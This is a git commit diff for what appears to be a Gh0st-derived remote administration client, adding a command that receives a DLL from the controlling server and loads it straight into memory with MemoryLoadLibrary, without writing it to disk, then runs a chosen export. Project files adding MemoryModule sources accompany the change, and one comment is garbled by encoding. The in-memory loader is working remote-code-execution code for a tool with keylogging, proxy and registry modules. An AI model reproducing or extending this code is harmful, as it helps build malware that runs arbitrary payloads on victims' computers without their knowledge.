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feature: Add command to execute DLL

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This commit is contained in:
yuanyuanxiang
2025-05-29 19:49:05 +08:00
parent 35df6677aa
commit 62b8f65f88
6 changed files with 254 additions and 22 deletions
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2
client/ClientDll_vs2015.vcxproj
View File

@@ -173,6 +173,7 @@
<ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
@@ -199,6 +200,7 @@
<ClInclude Include="KeyboardManager.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />

67
client/KernelManager.cpp
View File

@@ -9,6 +9,7 @@
#include <fstream>
#include <corecrt_io.h>
#include "ClientDll.h"
#include "MemoryModule.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
@@ -110,22 +111,74 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
return TRUE;
}
typedef struct DllExecParam
{
State& exit;
DllExecuteInfo info;
BYTE* buffer;
DllExecParam(const DllExecuteInfo* dll, BYTE* data, State& status) : exit(status) {
memcpy(&info, dll, sizeof(DllExecuteInfo));
buffer = new BYTE[info.Size];
memcpy(buffer, data, info.Size);
}
~DllExecParam() {
SAFE_DELETE_ARRAY(buffer);
}
}DllExecParam;
DWORD WINAPI ExecuteDLLProc(LPVOID param) {
DllExecParam* dll = (DllExecParam*)param;
HMEMORYMODULE module = MemoryLoadLibrary(dll->buffer, dll->info.Size);
if (module) {
DllExecuteInfo info = dll->info;
if (info.Func[0]) {
FARPROC proc = MemoryGetProcAddress(module, info.Func);
if (proc) {
switch (info.CallType)
{
case CALLTYPE_DEFAULT:
((CallTypeDefault)proc)();
break;
default:
break;
}
}
}
else { // û<><C3BB>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD>DLL
while (S_CLIENT_EXIT != dll->exit) {
Sleep(1000);
}
}
MemoryFreeLibrary(module);
}
SAFE_DELETE(dll);
return 0x20250529;
}
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
if ((m_ulThreadCount = GetAvailableIndex()) == -1) {
if (!isExit) {
Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
return;
}
}
else if (!isExit){
if ((m_ulThreadCount = GetAvailableIndex()) == -1 && !isExit) {
return Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
} else if (!isExit){
m_hThread[m_ulThreadCount].p = nullptr;
m_hThread[m_ulThreadCount].conn = m_conn;
}
switch(szBuffer[0])
{
case CMD_EXECUTE_DLL: {
#ifdef _WIN64
const int sz = 1 + sizeof(DllExecuteInfo);
if (ulLength <= sz)break;
DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1);
if (info->Size == ulLength - sz)
CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(info, szBuffer + sz, g_bExit), 0, NULL));
Mprintf("Execute '%s'%s succeed: %d Length: %d\n", info->Name, info->Func, szBuffer[1], info->Size);
#endif
break;
}
case COMMAND_PROXY: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;

2
client/ghost_vs2015.vcxproj
View File

@@ -183,6 +183,7 @@
<ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
@@ -209,6 +210,7 @@
<ClInclude Include="KeyboardManager.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />